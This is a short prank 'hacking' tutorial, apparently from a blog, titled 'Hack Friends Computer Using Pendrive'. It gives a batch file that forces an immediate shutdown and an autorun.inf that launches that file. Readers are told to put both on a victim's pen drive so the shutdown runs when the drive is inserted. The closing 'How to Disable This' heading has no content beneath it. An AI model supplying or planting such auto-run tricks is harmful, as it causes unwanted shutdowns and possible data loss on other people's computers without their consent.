shutdown Friends Computer Using Pendrive

HACK FRIENDS COMPUTER USING PENDRIVE

  
Step 1:>>copy this  code into notepad: 
@echo off
shutdown -s -t 00
Save as besthacking.bat extension (for eg: besthacking.bat). 
Step 2:
      Now open the notepad and copy this code: 
[autorun]
Open=besthacking.bat
Action=Mouse Disable

   Save it as "autorun.inf" 

      Step 3:
         Then copy the two files in your pen drive or victim's pen drive. 
That's all whenever the victim insert his pen drive,the system will be turned off automatically.
 
Check How to Disable This:-